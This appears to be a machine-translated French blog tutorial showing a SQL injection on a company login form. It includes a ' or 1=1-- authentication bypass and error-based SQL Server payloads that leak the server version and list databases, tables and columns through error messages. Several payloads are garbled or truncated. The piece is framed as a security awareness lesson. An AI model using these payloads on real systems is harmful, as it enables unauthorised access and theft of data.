Maison >base de données >tutoriel mysql >Partager un exemple de processus d'injection SQL
La boîte de connexion au site Web de l'entreprise est la suivante :
Oui j'ai vu qu'en plus du compte et du mot de passe, il y a aussi une zone de saisie pour le nom de l'entreprise. Selon la forme de la zone de saisie, il n'est pas difficile de déduire que le SQL s'écrit comme suit :
.SELECT * From Table WHERE Name='XX' and Password='YY' and Corp='ZZ'
J'ai trouvé que les deux premiers effectuaient quelques vérifications, et que la troisième zone de saisie était ignorée, et la faille est là ! L'injection démarre, saisissez le contenu suivant dans la zone de saisie :
Remplissez le nom d'utilisateur au hasard et laissez le mot de passe vide Dans ce cas, après avoir cliqué sur login bouton Connecté avec succès. Si nous regardons le SQL final, nous trouverons la raison :
SELECT * From Table WHERE Name='SQL inject' and Password='' and Corp='' or 1=1--'Comme le montre le code, la première moitié des guillemets simples est fermée et la seconde moitié des guillemets simples est fermée. commenté avec "--" pour Injection intermédiaire : obtenez des informations à l'aide d'exceptions. Maintenant, nous écrivons dans la troisième zone de saisie : « ‘ ou 1=(SELECT @@version) – ». Comme suit : Le SQL d'arrière-plan devient comme ceci :
SELECT * From Table WHERE Name='SQL inject' and Password='' and Corp='' or 1=(SELECT @@VERSION)--'La condition de jugement devient 1=(SELECT @@VERSION), cette façon de écrire Cela conduira certainement à des erreurs, mais les erreurs sont exactement ce que nous voulons. Après avoir cliqué pour vous connecter, les informations suivantes apparaissent sur la page :
Conversion failed when converting the nvarchar value 'Microsoft SQL Server 2008 (SP3) - 10.0.5500.0 (X64) Sep 21 2011 22:45:45 Copyright (c) 1988-2008 Microsoft Corporation Developer Edition (64-bit) on Windows NT 6.1 <X64> (Build 7601: Service Pack 1) ' to data type int.Une chose terrible s'est produite. Les informations sur le système d'exploitation du serveur et la version de SQL Server ont en fait été affichées via des erreurs. Expansion des dommages - obtenez tous les noms de bibliothèques, noms de tables et noms de champs du serveurEnsuite, nous entrons les informations suivantes dans la zone de saisie : "t' ou 1=( SELECT Cliquez pour vous connecter, les informations renvoyées sont les suivantes :
Conversion failed when converting the nvarchar value 'master' to data type int.Le nom de la base de données "master" est affiché via une exception ! En modifiant tour à tour les numéros de série dans l'instruction SQL ci-dessus, vous pouvez obtenir les noms de toutes les bases de données sur le serveur. Ensuite, entrez les informations suivantes : "b' ou 1=(SELECT top 1 name FROM master..sys
objects où xtype='U' et le nom n'est pas dans (SELECT top 1 nom FROM master..sysobjects où xtype='U'))--"
Les informations renvoyées sont les suivantes :Conversion failed when converting the nvarchar value 'spt_fallback_db' to data type int.Nous avons obtenu le premier nom de table dans la base de données master : "spt_fallback_db", comme ci-dessus, modifiez le numéro de série dans l'ordre et vous pouvez obtenir tous les noms de table de la bibliothèque. Maintenant, nous prenons la table "spt_fallback_db" comme exemple et essayons d'obtenir tous les noms de champs dans la table. Entrez le code suivant dans la zone de saisie : "b' ou 1=(SELECT top 1 master..syscolumns.name FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master ..sysobjects.name='spt_fallback_db');"Donc, le message d'erreur est le suivant :
"Conversion failed when converting the nvarchar value 'xserver_name' to data type int.";De cette façon, le premier nom de champ "xserver_name" apparaît , et le numéro de séquence est modifié dans la séquence , vous pouvez parcourir tous les noms de champs. Le but ultime - obtenir les données dans la base de données Au moment où nous écrivons ceci, nous savons que toutes les bases de données, tables et champs peuvent être obtenus par injection SQL afin d'éviter cela. L'article n'est plus devenu un tutoriel d'injection, le code pour obtenir des données ne sera plus décrit et le but de cet article a été atteint. Que signifie l'injection SQL ?
signifie que toutes les données de la base de données peuvent être volées .
Après avoir connu le danger, peut-on encore ignorer les vulnérabilités de l'injection SQL ? Conclusion Concernant la sécurité, cet article peut résumer les points suivants :La vulnérabilité n'a rien à voir avec la plateforme linguistique. Ce n'est pas que asp ait des vulnérabilités d'injection mais asp.net n'a pas de vulnérabilités d'injection. Tout dépend de la prudence du concepteur.
[Recommandations associées]
1 Recommandation spéciale : "Télécharger les outils de programmation PHP. la version V0.1 de "Box"
2. Comment empêcher l'injection sql ? Présentez 5 façons d'empêcher l'injection SQL
3. Partagez cinq outils d'analyse des vulnérabilités d'injection SQL célèbres
Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!